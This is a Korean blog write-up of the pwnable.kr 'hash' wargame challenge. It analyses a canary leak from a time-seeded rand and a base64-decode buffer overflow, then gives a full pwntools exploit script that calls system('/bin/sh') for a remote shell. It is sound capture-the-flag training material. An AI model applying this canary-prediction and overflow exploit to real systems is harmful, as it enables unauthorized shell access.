1. 문제
- hash 바이너리 파일을 다운로드할 수 있는 링크가 주어진다.
- nc로 접속할 수 있는 정보가 주어진다.
2. 환경 구축
- libcrypto.so.1.0.0 라이브러리가 존재하지 않는 경우, 설치해줘야 프로그램을 실행할 수 있다.
//ubuntu환경에서 libcrypto.so.1.0.0 32bit 설치 명령어
sudo apt-get install libssl1.0.0:i386
3. 코드 분석
- IDA를 이용하여, 분석하였다.
3-1. Input 1
- captcha로 출력된 값과 똑같이 입력하면, 프로그램이 종료되지 않는다.
- my_hash()라는 함수에서 return된 값이 captcha로 출력된다.
- my_hash()
- rand함수를 통해, 구한 난수값을 8번 구하고 저장한다.
- 구한 난수값과 카나리를 연산하여, return하는 것을 확인할 수 있다.
- main함수에서 time(NULL)을 seed로 설정하였기 때문에, 바이너리 실행 시간만 알면 같은 난수값을 구할 수 있다.
이를 통해 연산을 반대로 하여, Canary를 구할 수 있다.
3-2. Input 2
- "Encode your data with Base64 then paste me!"라는 문구를 출력 후, process_hash()를 출력한다.
- process_hash()
- fgets함수를 통해, g_buf에 1024byte만큼 입력받아온다.
- Base64Decode함수로 1024byte 크기인 g_buf와 512byte 크기인 buf를 인자로 넘겨준다.
- g_buf는 0x400인 1024byte 크기로, 전역 변수에 위치한 것을 확인할 수 있다.
- Base64Decode()
- 입력받아온 g_buf에 저장된 data를 base64로 디코딩하는 코드이다.
- 코드 17줄을 보면, BIO_read함수로 base64로 디코딩한 g_buf의 값을 buf에 넣어준다.
- buf의 크기는 512byte인데 1024byte의 값을 넣어줌으로써, BOF가 발생한다.
- main함수의 코드 24줄에서 system함수를 사용하여, log파일에 date를 작성한다.
4. 풀이
- Canary
- my_hash()에서 return 값 구하는 연산을 역연산하면, canary를 추출할 수 있다.
- seed값이 time(NULL)이기 때문에, 바이너리 실행 시간만 알면 같은 난수값을 구할 수 있다. C언어와 python은 난수 발생하는 것이 다르기 때문에, ctypes모듈을 이용하여 C언어와 같게 seed를 설정해야 한다.
- 바이너리는 32bit 파일이므로, Canary는 4byte이다.
이를 위해, 역연산한 값을 0xfffffffff로 AND 연산해줘서 4byte 초과를 방지한다.
from ctypes import *
from ctypes.util import find_library
c = CDLL(find_library('c'))
c.srand(c.time(0))
v = list()
for i in range(0, 8):
v.append(c.random())
canary = (int(captcha) - v[4] + v[6] - v[7] - v[2] + v[3] - v[1] - v[5] ) & 0xffffffff
- BOF
- Base64Decode()에서 발생하는 BOF를 이용하여, shell을 획득할 수 있다.
- main함수에 정의되어 있는 system함수를 호출하고, 인자값인 /bin/sh는 .bss에 저장하여, shell을 획득한다.
- bss의 끝부분에 /bin/sh를 저장하기 위해, 해당 주소를 가리켜야 한다.
이를 위해, payload 마지막 줄에서 bss_addr + len(base64.b64encode(payload)) + 4를 해준 것이다.
system_plt = 0x8048880
bss_addr = 0x0804b0e0
payload = b"A" * 0x200
payload += p32(canary)
payload += b"B" * 0xc #dummy
payload += p32(system_plt)
payload += b"C" * 0x4
payload += p32(bss_addr + len(base64.b64encode(payload)) + 4)
recv_data = p.recvuntil(b"me!\n")
payload2 = base64.b64encode(payload)
p.sendline(payload2 + b"/bin/sh\x00")
5. Exploit
from pwn import *
from ctypes import *
from ctypes.util import find_library
import base64
c = CDLL(find_library('c'))
c.srand(c.time(0))
#p = process(b"./hash")
p = remote(b"pwnable.kr", 9002)
e = ELF(b"./hash")
system_plt = 0x8048880
bss_addr = 0x0804b0e0
p.recvuntil(b"captcha : ")
captcha = p.recvline()[:-1]
p.sendline(captcha)
log.info("Captcha : %d", int(captcha))
v = list()
for i in range(0, 8):
v.append(c.random())
canary = (int(captcha) - v[4] + v[6] - v[7] - v[2] + v[3] - v[1] - v[5] ) & 0xffffffff
print("Canary : ", hex(canary))
payload = b"A" * 0x200
payload += p32(canary)
payload += b"B" * 0xc #dummy
payload += p32(system_plt)
payload += b"C" * 0x4
payload += p32(bss_addr + len(base64.b64encode(payload)) + 4)
recv_data = p.recvuntil(b"me!\n")
payload2 = base64.b64encode(payload)
p.sendline(payload2 + b"/bin/sh\x00")
p.interactive()
'Wargame > pwnable.kr' 카테고리의 다른 글
[stack unlimited, control esp] fix (0) | 2022.08.09 |
---|---|
[Fake EBP] simple login (0) | 2022.08.05 |
[BOF] echo1 (0) | 2022.07.24 |